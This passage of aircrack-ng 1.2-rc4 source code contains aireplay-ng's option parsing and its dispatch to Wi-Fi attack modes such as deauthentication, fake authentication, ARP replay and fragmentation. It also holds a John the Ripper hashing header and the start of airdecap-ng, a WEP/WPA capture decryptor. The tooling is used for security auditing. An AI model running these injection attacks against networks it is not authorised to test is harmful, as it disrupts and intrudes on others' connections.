opt.r_fctrl > 65535 || ret != 1 ) { printf( "Invalid frame control word. [0-65535]\n" ); printf("\"%s --help\" for help.\n", argv[0]); return( 1 ); } break; case 'a' : if( getmac( optarg, 1, opt.r_bssid ) != 0 ) { printf( "Invalid AP MAC address.\n" ); printf("\"%s --help\" for help.\n", argv[0]); return( 1 ); } break; case 'c' : if( getmac( optarg, 1, opt.r_dmac ) != 0 ) { printf( "Invalid destination MAC address.\n" ); printf("\"%s --help\" for help.\n", argv[0]); return( 1 ); } break; case 'g' : ret = sscanf( optarg, "%d", &opt.ringbuffer ); if( opt.ringbuffer < 1 || ret != 1 ) { printf( "Invalid replay ring buffer size. [>=1]\n"); printf("\"%s --help\" for help.\n", argv[0]); return( 1 ); } break; case 'h' : if( getmac( optarg, 1, opt.r_smac ) != 0 ) { printf( "Invalid source MAC address.\n" ); printf("\"%s --help\" for help.\n", argv[0]); return( 1 ); } opt.r_smac_set=1; break; case 'e' : memset( opt.r_essid, 0, sizeof( opt.r_essid ) ); strncpy( opt.r_essid, optarg, sizeof( opt.r_essid ) - 1 ); break; case 'j' : opt.r_fromdsinj = 1; break; case 'D' : opt.nodetect = 1; break; case 'k' : inet_aton( optarg, (struct in_addr *) opt.r_dip ); break; case 'l' : inet_aton( optarg, (struct in_addr *) opt.r_sip ); break; case 'y' : if( opt.prga != NULL ) { printf( "PRGA file already specified.\n" ); printf("\"%s --help\" for help.\n", argv[0]); return( 1 ); } if( read_prga(&(opt.prga), optarg) != 0 ) { return( 1 ); } break; case 'i' : if( opt.s_face != NULL || opt.s_file ) { printf( "Packet source already specified.\n" ); printf("\"%s --help\" for help.\n", argv[0]); return( 1 ); } opt.s_face = optarg; opt.port_in = get_ip_port(opt.s_face, opt.ip_in, sizeof(opt.ip_in)-1); break; case 'r' : if( opt.s_face != NULL || opt.s_file ) { printf( "Packet source already specified.\n" ); printf("\"%s --help\" for help.\n", argv[0]); return( 1 ); } opt.s_file = optarg; break; case 'z' : opt.ghost = 1; break; case '0' : if( opt.a_mode != -1 ) { printf( "Attack mode already specified.\n" ); printf("\"%s --help\" for help.\n", argv[0]); return( 1 ); } opt.a_mode = 0; for (i=0; optarg[i] != 0; i++) { if (isdigit((int)optarg[i]) == 0) break; } ret = sscanf( optarg, "%d", &opt.a_count ); if( opt.a_count < 0 || optarg[i] != 0 || ret != 1) { printf( "Invalid deauthentication count or missing value. [>=0]\n" ); printf("\"%s --help\" for help.\n", argv[0]); return( 1 ); } break; case '1' : if( opt.a_mode != -1 ) { printf( "Attack mode already specified.\n" ); printf("\"%s --help\" for help.\n", argv[0]); return( 1 ); } opt.a_mode = 1; for (i=0; optarg[i] != 0; i++) { if (isdigit((int)optarg[i]) == 0) break; } ret = sscanf( optarg, "%d", &opt.a_delay ); if( opt.a_delay < 0 || optarg[i] != 0 || ret != 1) { printf( "Invalid reauthentication delay or missing value. [>=0]\n" ); printf("\"%s --help\" for help.\n", argv[0]); return( 1 ); } break; case '2' : if( opt.a_mode != -1 ) { printf( "Attack mode already specified.\n" ); printf("\"%s --help\" for help.\n", argv[0]); return( 1 ); } opt.a_mode = 2; break; case '3' : if( opt.a_mode != -1 ) { printf( "Attack mode already specified.\n" ); printf("\"%s --help\" for help.\n", argv[0]); return( 1 ); } opt.a_mode = 3; break; case '4' : if( opt.a_mode != -1 ) { printf( "Attack mode already specified.\n" ); printf("\"%s --help\" for help.\n", argv[0]); return( 1 ); } opt.a_mode = 4; break; case '5' : if( opt.a_mode != -1 ) { printf( "Attack mode already specified.\n" ); printf("\"%s --help\" for help.\n", argv[0]); return( 1 ); } opt.a_mode = 5; break; case '6' : if( opt.a_mode != -1 ) { printf( "Attack mode already specified.\n" ); printf("\"%s --help\" for help.\n", argv[0]); return( 1 ); } opt.a_mode = 6; break; case '7' : if( opt.a_mode != -1 ) { printf( "Attack mode already specified.\n" ); printf("\"%s --help\" for help.\n", argv[0]); return( 1 ); } opt.a_mode = 7; break; case '9' : if( opt.a_mode != -1 ) { printf( "Attack mode already specified.\n" ); printf("\"%s --help\" for help.\n", argv[0]); return( 1 ); } opt.a_mode = 9; break; case '8' : if( opt.a_mode != -1 ) { printf( "Attack mode already specified.\n" ); printf("\"%s --help\" for help.\n", argv[0]); return( 1 ); } opt.a_mode = 8; break; case 'F' : opt.fast = 1; break; case 'B' : opt.bittest = 1; break; case 'H' : printf( usage, getVersion("Aireplay-ng", _MAJ, _MIN, _SUB_MIN, _REVISION, _BETA, _RC) ); return( 1 ); case 'R' : opt.rtc = 0; break; default : goto usage; } } if( argc - optind != 1 ) { if(argc == 1) { usage: printf( usage, getVersion("Aireplay-ng", _MAJ, _MIN, _SUB_MIN, _REVISION, _BETA, _RC) ); } if( argc - optind == 0) { printf("No replay interface specified.\n"); } if(argc > 1) { printf("\"%s --help\" for help.\n", argv[0]); } return( 1 ); } if( opt.a_mode == -1 ) { printf( "Please specify an attack mode.\n" ); printf("\"%s --help\" for help.\n", argv[0]); return( 1 ); } if( (opt.f_minlen > 0 && opt.f_maxlen > 0) && opt.f_minlen > opt.f_maxlen ) { printf( "Invalid length filter (min(-m):%d > max(-n):%d).\n", opt.f_minlen, opt.f_maxlen ); printf("\"%s --help\" for help.\n", argv[0]); return( 1 ); } if ( opt.f_tods == 1 && opt.f_fromds == 1 ) { printf( "FromDS and ToDS bit are set: packet has to come from the AP and go to the AP\n" ); } dev.fd_rtc = -1; /* open the RTC device if necessary */ #if defined(__i386__) #if defined(linux) if( opt.a_mode > 1 ) { if( ( dev.fd_rtc = open( "/dev/rtc0", O_RDONLY ) ) < 0 ) { dev.fd_rtc = 0; } if( (dev.fd_rtc == 0) && ( ( dev.fd_rtc = open( "/dev/rtc", O_RDONLY ) ) < 0 ) ) { dev.fd_rtc = 0; } if(opt.rtc == 0) { dev.fd_rtc = -1; } if(dev.fd_rtc > 0) { if( ioctl( dev.fd_rtc, RTC_IRQP_SET, RTC_RESOLUTION ) < 0 ) { perror( "ioctl(RTC_IRQP_SET) failed" ); printf( "Make sure enhanced rtc device support is enabled in the kernel (module\n" "rtc, not genrtc) - also try 'echo 1024 >/proc/sys/dev/rtc/max-user-freq'.\n" ); close( dev.fd_rtc ); dev.fd_rtc = -1; } else { if( ioctl( dev.fd_rtc, RTC_PIE_ON, 0 ) < 0 ) { perror( "ioctl(RTC_PIE_ON) failed" ); close( dev.fd_rtc ); dev.fd_rtc = -1; } } } else { printf( "For information, no action required:" " Using gettimeofday() instead of /dev/rtc\n" ); dev.fd_rtc = -1; } } #endif /* linux */ #endif /* i386 */ opt.iface_out = argv[optind]; opt.port_out = get_ip_port(opt.iface_out, opt.ip_out, sizeof(opt.ip_out)-1); //don't open interface(s) when using test mode and airserv if( ! (opt.a_mode == 9 && opt.port_out >= 0 ) ) { /* open the replay interface */ _wi_out = wi_open(opt.iface_out); if (!_wi_out) return 1; dev.fd_out = wi_fd(_wi_out); /* open the packet source */ if( opt.s_face != NULL ) { //don't open interface(s) when using test mode and airserv if( ! (opt.a_mode == 9 && opt.port_in >= 0 ) ) { _wi_in = wi_open(opt.s_face); if (!_wi_in) return 1; dev.fd_in = wi_fd(_wi_in); wi_get_mac(_wi_in, dev.mac_in); } } else { _wi_in = _wi_out; dev.fd_in = dev.fd_out; /* XXX */ dev.arptype_in = dev.arptype_out; wi_get_mac(_wi_in, dev.mac_in); } wi_get_mac(_wi_out, dev.mac_out); } /* drop privileges */ if (setuid( getuid() ) == -1) { perror("setuid"); } /* XXX */ if( opt.r_nbpps == 0 ) { if( dev.is_wlanng || dev.is_hostap ) opt.r_nbpps = 200; else opt.r_nbpps = 500; } if( opt.s_file != NULL ) { if( ! ( dev.f_cap_in = fopen( opt.s_file, "rb" ) ) ) { perror( "open failed" ); return( 1 ); } n = sizeof( struct pcap_file_header ); if( fread( &dev.pfh_in, 1, n, dev.f_cap_in ) != (size_t) n ) { perror( "fread(pcap file header) failed" ); return( 1 ); } if( dev.pfh_in.magic != TCPDUMP_MAGIC && dev.pfh_in.magic != TCPDUMP_CIGAM ) { fprintf( stderr, "\"%s\" isn't a pcap file (expected " "TCPDUMP_MAGIC).\n", opt.s_file ); return( 1 ); } if( dev.pfh_in.magic == TCPDUMP_CIGAM ) SWAP32(dev.pfh_in.linktype); if( dev.pfh_in.linktype != LINKTYPE_IEEE802_11 && dev.pfh_in.linktype != LINKTYPE_PRISM_HEADER && dev.pfh_in.linktype != LINKTYPE_RADIOTAP_HDR && dev.pfh_in.linktype != LINKTYPE_PPI_HDR ) { fprintf( stderr, "Wrong linktype from pcap file header " "(expected LINKTYPE_IEEE802_11) -\n" "this doesn't look like a regular 802.11 " "capture.\n" ); return( 1 ); } } //if there is no -h given, use default hardware mac if( maccmp( opt.r_smac, NULL_MAC) == 0 ) { memcpy( opt.r_smac, dev.mac_out, 6); if(opt.a_mode != 0 && opt.a_mode != 4 && opt.a_mode != 9) { printf("No source MAC (-h) specified. Using the device MAC (%02X:%02X:%02X:%02X:%02X:%02X)\n", dev.mac_out[0], dev.mac_out[1], dev.mac_out[2], dev.mac_out[3], dev.mac_out[4], dev.mac_out[5]); } } if( maccmp( opt.r_smac, dev.mac_out) != 0 && maccmp( opt.r_smac, NULL_MAC) != 0) { // if( dev.is_madwifi && opt.a_mode == 5 ) printf("For --fragment to work on madwifi[-ng], set the interface MAC according to (-h)!\n"); fprintf( stderr, "The interface MAC (%02X:%02X:%02X:%02X:%02X:%02X)" " doesn't match the specified MAC (-h).\n" "\tifconfig %s hw ether %02X:%02X:%02X:%02X:%02X:%02X\n", dev.mac_out[0], dev.mac_out[1], dev.mac_out[2], dev.mac_out[3], dev.mac_out[4], dev.mac_out[5], opt.iface_out, opt.r_smac[0], opt.r_smac[1], opt.r_smac[2], opt.r_smac[3], opt.r_smac[4], opt.r_smac[5] ); } switch( opt.a_mode ) { case 0 : return( do_attack_deauth() ); case 1 : return( do_attack_fake_auth() ); case 2 : return( do_attack_interactive() ); case 3 : return( do_attack_arp_resend() ); case 4 : return( do_attack_chopchop() ); case 5 : return( do_attack_fragment() ); case 6 : return( do_attack_caffe_latte() ); case 7 : return( do_attack_cfrag() ); case 8 : return( do_attack_migmode() ); case 9 : return( do_attack_test() ); default: break; } /* that's all, folks */ return( 0 ); } aircrack-ng-1.2-rc4/src/sse-intrinsics.h0000644000000000000000000001170212640667310016644 0ustar rootroot/* * Based on John the Ripper and modified to integrate with aircrack * * John the Ripper copyright and license. * * John the Ripper password cracker, * Copyright (c) 1996-2013 by Solar Designer. * * This program is free software; you can redistribute it and/or modify * it under the terms of the GNU General Public License as published by * the Free Software Foundation; either version 2 of the License, or * (at your option) any later version. * * This program is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * As a special exception to the GNU General Public License terms, * permission is hereby granted to link the code of this program, with or * without modification, with any version of the OpenSSL library and/or any * version of unRAR, and to distribute such linked combinations. You must * obey the GNU GPL in all respects for all of the code used other than * OpenSSL and unRAR. If you modify this program, you may extend this * exception to your version of the program, but you are not obligated to * do so. (In other words, you may release your derived work under pure * GNU GPL version 2 or later as published by the FSF.) * * (This exception from the GNU GPL is not required for the core tree of * John the Ripper, but arguably it is required for -jumbo.) * * Relaxed terms for certain components. * * In addition or alternatively to the license above, many components are * available to you under more relaxed terms (most commonly under cut-down * BSD license) as specified in the corresponding source files. * * For more information on John the Ripper licensing please visit: * * http://www.openwall.com/john/doc/LICENSE.shtml * * This software is Copyright (c) 2010 bartavelle, , and it is hereby released to the general public under the following terms: * Redistribution and use in source and binary forms, with or without modification, are permitted. * * Some modifications, Jim Fougeron, 2013. Licensing rights listed in accompanying sse-intrinsics.c file. */ #if !defined (__JTR_SSE_INTRINSICS_H__) #define __JTR_SSE_INTRINSICS_H__ #if (MMX_COEF && MMX_COEF == 2) || !MMX_COEF #undef SSE_type #define SSE_type "x86" #undef MMX_COEF #endif #include "jcommon.h" #include "sse-intrinsics-load-flags.h" #ifndef _EMMINTRIN_H_INCLUDED #define __m128i void #endif #define STRINGIZE2(s) #s #define STRINGIZE(s) STRINGIZE2(s) #if defined(__XOP__) #undef SSE_type #define SSE_type "XOP" #elif defined(__AVX__) #undef SSE_type #define SSE_type "AVX" #elif defined(__SSE4_1__) #undef SSE_type #define SSE_type "SSE4.1" #elif defined(__SSSE3__) #undef SSE_type #define SSE_type "SSSE3" #elif MMX_COEF #undef SSE_type #define SSE_type "SSE2" #endif #ifdef MD5_SSE_PARA void md5cryptsse(unsigned char * buf, unsigned char * salt, char * out, int md5_type); void SSEmd5body(__m128i* data, ARCH_WORD_32 *out, ARCH_WORD_32 *reload_state, unsigned SSEi_flags); #define MD5_SSE_type SSE_type #define MD5_ALGORITHM_NAME "128/128 " MD5_SSE_type " " MD5_N_STR #else #define MD5_SSE_type "1x" #define MD5_ALGORITHM_NAME "32/" ARCH_BITS_STR #endif #ifdef MD4_SSE_PARA //void SSEmd4body(__m128i* data, unsigned int * out, int init); void SSEmd4body(__m128i* data, ARCH_WORD_32 *out, ARCH_WORD_32 *reload_state, unsigned SSEi_flags); #define MD4_SSE_type SSE_type #define MD4_ALGORITHM_NAME "128/128 " MD4_SSE_type " " MD4_N_STR #else #define MD4_SSE_type "1x" #define MD4_ALGORITHM_NAME "32/" ARCH_BITS_STR #endif #ifdef SHA1_SSE_PARA void SSESHA1body(__m128i* data, ARCH_WORD_32 *out, ARCH_WORD_32 *reload_state, unsigned SSEi_flags); #define SHA1_SSE_type SSE_type #define SHA1_ALGORITHM_NAME "128/128 " SHA1_SSE_type " " SHA1_N_STR #else #define SHA1_SSE_type "1x" #define SHA1_ALGORITHM_NAME "32/" ARCH_BITS_STR #endif // code for SHA256 and SHA512 (from rawSHA256_ng_fmt.c and rawSHA512_ng_fmt.c) #if defined __XOP__ #define SIMD_TYPE "XOP" #elif defined __SSE4_1__ #define SIMD_TYPE "SSE4.1" #elif defined __SSSE3__ #define SIMD_TYPE "SSSE3" #else #define SIMD_TYPE "SSE2" #endif // we use the 'outter' MMX_COEF wrapper, as the flag for SHA256/SHA512. FIX_ME!! #if MMX_COEF==4 #ifdef MMX_COEF_SHA256 #define SHA256_ALGORITHM_NAME "128/128 " SIMD_TYPE " " STRINGIZE(MMX_COEF_SHA256)"x" void SSESHA256body(__m128i* data, ARCH_WORD_32 *out, ARCH_WORD_32 *reload_state, unsigned SSEi_flags); #define SHA256_BUF_SIZ 16 #define SHA256_SSE_PARA 1 #endif #ifdef MMX_COEF_SHA512 #define SHA512_ALGORITHM_NAME "128/128 " SIMD_TYPE " " STRINGIZE(MMX_COEF_SHA512)"x" void SSESHA512body(__m128i* data, ARCH_WORD_64 *out, ARCH_WORD_64 *reload_state, unsigned SSEi_flags); // ???? (16 long longs). #define SHA512_BUF_SIZ 16 #define SHA512_SSE_PARA 1 #endif #endif #endif // __JTR_SSE_INTRINSICS_H__ aircrack-ng-1.2-rc4/src/airdecap-ng.c0000644000000000000000000007250712660207441016043 0ustar rootroot/* * 802.11 to Ethernet pcap translator * * Copyright (C) 2006-2016 Thomas d'Otreppe * Copyright (C) 2004, 2005 Christophe Devine * * This program is free software; you can redistribute it and/or modify * it under the terms of the GNU General Public License as published by * the Free Software Foundation; either version 2 of the License, or * (at your option) any later version. * * This program is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * You should have received a copy of the GNU General Public License * along with this program; if not, write to the Free Software * Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 USA * * * In addition, as a special exception, the copyright holders give * permission to link the code of portions of this program with the * OpenSSL library under certain conditions as described in each * individual source file, and distribute linked combinations * including the two. * You must obey the GNU General Public License in all respects * for all of the code used other than OpenSSL. * If you modify * file(s) with this exception, you may extend this exception to your * version of the file(s), but you are not obligated to do so. * If you * do not wish to do so, delete this exception statement from your * version. * If you delete this exception statement from all source * files in the program, then also delete it here. */ #include #include #include #include #include #include #include "version.h" #include "crypto.h" #include "pcap.h" #include "osdep/byteorder.h" #include "common.h" #define CRYPT_NONE 0 #define CRYPT_WEP 1 #define CRYPT_WPA 2 extern char * getVersion(char * progname, int maj, int min, int submin, int svnrev, int beta, int rc); extern int check_crc_buf( unsigned char *buf, int len ); extern int calc_crc_buf( unsigned char *buf, int len ); char usage[] = "\n" " %s - (C) 2006-2015 Thomas d\'Otreppe\n" " http://www.aircrack-ng.org\n" "\n" " usage: airdecap-ng [options] \n" "\n" " Common options:\n" " -l : don't remove the 802.11 header\n" " -b : access point MAC address filter\n" " -e : target network SSID\n" " -o : output file for decrypted packets (default -dec)\n" "\n" " WEP specific option:\n" " -w : target network WEP key in hex\n" " -c : output file for corrupted WEP packets (default -bad)\n" "\n" " WPA specific options:\n" " -p : target network WPA passphrase\n" " -k : WPA Pairwise Master Key in hex\n" "\n" " --help : Displays this usage screen\n" "\n"; struct decap_stats { unsigned long nb_read; /* # of packets read */ unsigned long nb_wep; /* # of WEP data packets */ unsigned long nb_bad; /* # of bad data packets */ unsigned long nb_wpa; /* # of WPA data packets */ unsigned long nb_plain; /* # of plaintext packets */ unsigned long nb_unwep; /* # of decrypted WEP pkt */ unsigned long nb_unwpa; /* # of decrypted WPA pkt */ } stats; struct options { int no_convert; char essid[36]; char passphrase[65]; unsigned char bssid[6]; unsigned char pmk[40]; unsigned char wepkey[64]; int weplen, crypt; int store_bad; char decrypted_fpath[65536]; char corrupted_fpath[65536]; } opt; unsigned char buffer[65536]; unsigned char buffer2[65536]; /* this routine handles to 802.11 to Ethernet translation */ int write_packet( FILE *f_out, struct pcap_pkthdr *pkh, unsigned char *h80211 ) { int n; unsigned char arphdr[12]; int qosh_offset = 0; if( opt.no_convert ) { if( buffer != h80211 ) memcpy( buffer, h80211, pkh->caplen ); } else { /* create the Ethernet link layer (MAC dst+src) */ switch( h80211[1] & 3 ) { case 0: /* To DS = 0, From DS = 0: DA, SA, BSSID */ memcpy( arphdr + 0, h80211 + 4, 6 ); memcpy( arphdr + 6, h80211 + 10, 6 ); break; case 1: /* To DS = 1, From DS = 0: BSSID, SA, DA */ memcpy( arphdr + 0, h80211 + 16, 6 ); memcpy( arphdr + 6, h80211 + 10, 6 ); break; case 2: /* To DS = 0, From DS = 1: DA, BSSID, SA */ memcpy( arphdr + 0, h80211 + 4, 6 ); memcpy( arphdr + 6, h80211 + 16, 6 ); break; default: /* To DS = 1, From DS = 1: RA, TA, DA, SA */ memcpy( arphdr + 0, h80211 + 16, 6 ); memcpy( arphdr + 6, h80211 + 24, 6 ); break; } /* check QoS header */ if ( GET_SUBTYPE(h80211[0]) == IEEE80211_FC0_SUBTYPE_QOS ) { qosh_offset += 2; } /* remove the 802.11 + LLC header */ if( ( h80211[1] & 3 ) != 3 ) { pkh->len -= 24 + qosh_offset + 6; pkh->caplen -= 24 + qosh_offset + 6; /* can overlap */ memmove( buffer + 12, h80211 + qosh_offset + 30, pkh->caplen ); } else { pkh->len -= 30 + qosh_offset + 6; pkh->caplen -= 30 + qosh_offset + 6; memmove( buffer + 12, h80211 + qosh_offset + 36, pkh->caplen ); } memcpy( buffer, arphdr, 12 ); pkh->len += 12; pkh->caplen += 12; } n = sizeof( struct pcap_pkthdr ); if( fwrite( pkh, 1, n, f_out ) != (size_t) n ) { perror( "fwrite(packet header) failed" ); return( 1 ); } n = pkh->caplen; if( fwrite( buffer, 1, n, f_out ) != (size_t) n ) { perror( "fwrite(packet data) failed" ); return( 1 ); } return( 0 ); } int main( int argc, char *argv[] ) { time_t tt; unsigned magic; char *s, buf[128]; FILE *f_in, *f_out, *f_bad=NULL; unsigned long crc; int i = 0, n, linktype; unsigned z; unsigned char ZERO[32], *h80211; unsigned char bssid[6], stmac[6]; struct WPA_ST_info *st_1st; struct WPA_ST_info *st_cur; struct WPA_ST_info *st_prv; struct pcap_file_header pfh; struct pcap_pkthdr pkh; #ifdef USE_GCRYPT // Disable secure memory. gcry_control (GCRYCTL_DISABLE_SECMEM, 0); // Tell Libgcrypt that initialization has completed. gcry_control (GCRYCTL_INITIALIZATION_FINISHED, 0); #endif /* parse the arguments */ memset( ZERO, 0, sizeof( ZERO ) ); memset( &opt, 0, sizeof( opt ) ); while( 1 ) { int option_index = 0; static struct option long_options[] = { {"bssid", 1, 0, 'b'}, {"debug", 1, 0, 'd'}, {"help", 0, 0, 'H'}, {0, 0, 0, 0 } }; int option = getopt_long( argc, argv, "lb:k:e:o:p:w:c:H", long_options, &option_index ); if( option < 0 ) break; switch( option ) { case ':' : printf("\"%s --help\" for help.\n", argv[0]); return( 1 ); case '?' : printf("\"%s --help\" for help.\n", argv[0]); return( 1 ); case 'l' : opt.no_convert = 1; break; case 'b' : i = 0; s = optarg; while( sscanf( s, "%x", &n ) == 1 ) { if( n < 0 || n > 255 ) { printf( "Invalid BSSID (not a MAC).\n" ); printf("\"%s --help\" for help.\n", argv[0]); return( 1 ); } opt.bssid[i] = n; if( ++i >= 6 ) break; if( ! ( s = strchr( s, ':' ) ) ) break; s++; } if( i != 6 ) { printf( "Invalid BSSID (not a MAC).\n" ); printf("\"%s --help\" for help.\n", argv[0]); return( 1 ); } break; case 'k' : if( opt.crypt != CRYPT_NONE ) { printf( "Encryption key already specified.\n" ); printf("\"%s --help\" for help.\n", argv[0]); return( 1 ); } opt.crypt = CRYPT_WPA; i = 0; s = optarg; buf[0] = s[0]; buf[1] = s[1]; buf[2] = '\0'; while( sscanf( buf, "%x", &n ) == 1 ) { if( n < 0 || n > 255 ) { printf( "Invalid WPA PMK.\n" ); printf("\"%s --help\" for help.\n", argv[0]); return( 1 ); } opt.pmk[i++] = n; if( i >= 32 ) break; s += 2; if( s[0] == ':' || s[0] == '-' ) s++; if( s[0] == '\0' || s[1] == '\0' ) break; buf[0] = s[0]; buf[1] = s[1]; } if( i != 32 ) { printf( "Invalid WPA PMK.\n" ); printf("\"%s --help\" for help.\n", argv[0]); return( 1 ); } break; case 'e' : if ( opt.essid[0]) { printf( "ESSID already specified.\n" ); printf("\"%s --help\" for help.\n", argv[0]); return( 1 ); } memset( opt.essid, 0, sizeof( opt.essid ) ); strncpy( opt.essid, optarg, sizeof( opt.essid ) - 1 ); break; case 'o' : if ( opt.decrypted_fpath[0]) { printf( "filename for decrypted packets already specified.\n" ); printf("\"%s --help\" for help.\n", argv[0]); return( 1 ); } strncpy( opt.decrypted_fpath, optarg, sizeof( opt.decrypted_fpath ) - 1 ); break; case 'c' : if ( opt.corrupted_fpath[0]) { printf( "filename for corrupted packets already specified.\n" ); printf("\"%s --help\" for help.\n", argv[0]); return( 1 ); } strncpy( opt.corrupted_fpath, optarg, sizeof( opt.corrupted_fpath ) - 1 ); break; case 'p' : if( opt.crypt != CRYPT_NONE ) { printf( "Encryption key already specified.\n" ); printf("\"%s --help\" for help.\n", argv[0]); return( 1 ); } opt.crypt = CRYPT_WPA; memset( opt.passphrase, 0, sizeof( opt.passphrase ) ); strncpy( opt.passphrase, optarg, sizeof( opt.passphrase ) - 1 ); break; case 'w' : if( opt.crypt != CRYPT_NONE ) { printf( "Encryption key already specified.\n" ); printf("\"%s --help\" for help.\n", argv[0]); return( 1 ); } opt.crypt = CRYPT_WEP; i = 0; s = optarg; buf[0] = s[0]; buf[1] = s[1]; buf[2] = '\0'; while( sscanf( buf, "%x", &n ) == 1 ) { if( n < 0 || n > 255 ) { printf( "Invalid WEP key.\n" ); printf("\"%s --help\" for help.\n", argv[0]); return( 1 ); } opt.wepkey[i++] = n; if( i >= 64 ) break; s += 2; if( s[0] == ':' || s[0] == '-' ) s++; if( s[0] == '\0' || s[1] == '\0' ) break; buf[0] = s[0]; buf[1] = s[1]; } if( i != 5 && i != 13 && i != 16 && i != 29 && i != 61 ) { printf( "Invalid WEP key length. [5,13,16,29,61]\n" ); printf("\"%s --help\" for help.\n", argv[0]); return( 1 ); } opt.weplen = i; break; case 'H' : printf( usage, getVersion("Airdecap-ng", _MAJ, _MIN, _SUB_MIN, _REVISION, _BETA, _RC)); return( 1 ); default : goto usage; } } if( argc - optind != 1 ) { if(argc == 1) { usage: printf( usage, getVersion("Airdecap-ng", _MAJ, _MIN, _SUB_MIN, _REVISION, _BETA, _RC)); } if( argc - optind == 0) { printf("No file to decrypt specified.\n"); } if(argc > 1) { printf("\"%s --help\" for help.\n", argv[0]); } return( 1 ); } if( opt.crypt == CRYPT_WPA ) { if( opt.passphrase[0] != '\0' ) { /* compute the Pairwise Master Key */ if( opt.essid[0] == '\0' ) { printf( "You must also specify the ESSID (-e).\n" ); printf("\"%s --help\" for help.\n", argv[0]); return( 1 ); } calc_pmk( opt.passphrase, opt.essid, opt.pmk ); } } /* open the input and output pcap files */ if( ( f_in = fopen( argv[optind], "rb" ) ) == NULL ) { perror( "fopen failed\n" ); printf( "Could not open \"%s\".\n", argv[optind] ); return( 1 ); } n = sizeof( pfh ); if( fread( &pfh, 1, n, f_in ) != (size_t) n ) { perror( "fread(pcap file header) failed" ); return( 1 ); } if( pfh.magic != TCPDUMP_MAGIC && pfh.magic != TCPDUMP_CIGAM ) { printf( "\"%s\" isn't a pcap file (expected " "TCPDUMP_MAGIC).\n", argv[optind] ); return( 1 ); } if( ( magic = pfh.magic ) == TCPDUMP_CIGAM ) SWAP32( pfh.linktype ); if( pfh.linktype != LINKTYPE_IEEE802_11 && pfh.linktype != LINKTYPE_PRISM_HEADER && pfh.linktype != LINKTYPE_RADIOTAP_HDR && pfh.linktype != LINKTYPE_PPI_HDR ) { printf( "\"%s\" isn't a regular 802.11 " "(wireless) capture.\n", argv[optind] ); return( 1 ); } linktype = pfh.linktype; n = strlen( argv[optind] ); if( n > 4 && ( n + 5 < (int) sizeof( buffer ) ) && argv[optind][n - 4] == '.' ) { memcpy( buffer , argv[optind], n - 4 ); memcpy( buffer2, argv[optind], n - 4 ); memcpy( buffer + n - 4, "-dec", 4 ); memcpy( buffer2 + n - 4, "-bad", 4 ); memcpy( buffer + n, argv[optind] + n - 4, 5 ); memcpy( buffer2 + n, argv[optind] + n - 4, 5 ); } else { if( n > 5 && ( n + 6 < (int) sizeof( buffer ) ) && argv[optind][n - 5] == '.' ) { memcpy( buffer , argv[optind], n - 5 ); memcpy( buffer2, argv[optind], n - 5 ); memcpy( buffer + n - 5, "-dec", 4 ); memcpy( buffer2 + n - 5, "-bad", 4 ); memcpy( buffer + n - 1, argv[optind] + n - 5, 6 ); memcpy( buffer2 + n - 1, argv[optind] + n - 5, 6 ); } else { memset( buffer , 0, sizeof( buffer ) ); memset( buffer2, 0, sizeof( buffer ) ); snprintf( (char *) buffer , sizeof( buffer ) - 1, "%s-dec", argv[optind] ); snprintf( (char *) buffer2, sizeof( buffer ) - 1, "%s-bad", argv[optind] ); } } if( opt.crypt == CRYPT_WEP && opt.no_convert == 1 ) { opt.store_bad=1; } /* Support manually-configured output files*/ if ( opt.decrypted_fpath[0]) f_out = fopen( opt.decrypted_fpath, "wb+"); else f_out = fopen( (char *) buffer, "wb+"); if( f_out == NULL ) { perror( "fopen failed" ); printf( "Could not create \"%s\".\n", buffer ); return( 1 ); } if(opt.store_bad) { if ( opt.corrupted_fpath[0]) f_bad = fopen( opt.corrupted_fpath, "wb+" ); else f_bad = fopen( (char *) buffer2, "wb+" ); if( f_bad == NULL ) { perror( "fopen failed" ); printf( "Could not create \"%s\".\n", buffer2 ); return( 1 ); } } pfh.magic = TCPDUMP_MAGIC; pfh.version_major = PCAP_VERSION_MAJOR; pfh.version_minor = PCAP_VERSION_MINOR; pfh.thiszone = 0; pfh.sigfigs = 0; pfh.snaplen = 65535; pfh.linktype = ( opt.no_convert ) ? LINKTYPE_IEEE802_11 : LINKTYPE_ETHERNET; n = sizeof( pfh ); if( fwrite( &pfh, 1, n, f_out ) != (size_t) n ) { perror( "fwrite(pcap file header) failed" ); return( 1 ); } if(opt.store_bad) { if( fwrite( &pfh, 1, n, f_bad ) != (size_t) n ) { perror( "fwrite(pcap file header) failed" ); return( 1 ); } } /* loop reading and deciphering the packets */ memset( &stats, 0, sizeof( stats ) ); tt = time( NULL ); st_1st = NULL; while( 1 ) { if( time( NULL ) - tt > 0 ) { /* update the status line every second */ printf( "\33[KRead %ld packets...\r", stats.nb_read ); fflush( stdout ); tt = time( NULL ); } /* read one packet */ n = sizeof( pkh ); if( fread( &pkh, 1, n, f_in ) != (size_t) n ) break; if( magic == TCPDUMP_CIGAM ) { SWAP32( pkh.caplen ); SWAP32( pkh.len ); } n = pkh.caplen; if( n <= 0 || n > 65535 ) { printf( "Corrupted file? Invalid packet length %d.\n", n ); break; } if( fread( buffer, 1, n, f_in ) != (size_t) n ) break; stats.nb_read++; h80211 = buffer; if( linktype == LINKTYPE_PRISM_HEADER ) { /* remove the prism header */ if( h80211[7] == 0x40 ) n = 64; /* prism54 */ else { n = *(int *)( h80211 + 4 ); if( magic == TCPDUMP_CIGAM ) SWAP32( n ); } if( n < 8 || n >= (int) pkh.caplen ) continue; h80211 += n; pkh.caplen -= n; } if( linktype == LINKTYPE_RADIOTAP_HDR ) { /* remove the radiotap header */ n = *(unsigned short *)( h80211 + 2 ); if( n <= 0 || n >= (int) pkh.caplen ) continue; h80211 += n; pkh.caplen -= n; } if( linktype == LINKTYPE_PPI_HDR ) { /* Remove the PPI header */ n = le16_to_cpu(*(unsigned short *)( h80211 + 2)); if( n <= 0 || n>= (int) pkh.caplen ) continue; /* for a while Kismet logged broken PPI headers */ if ( n == 24 && le16_to_cpu(*(unsigned short *)(h80211 + 8)) == 2 ) n = 32; if( n <= 0 || n>= (int) pkh.caplen ) continue; h80211 += n; pkh.caplen -= n; } /* remove the FCS if present (madwifi) */ if( check_crc_buf( 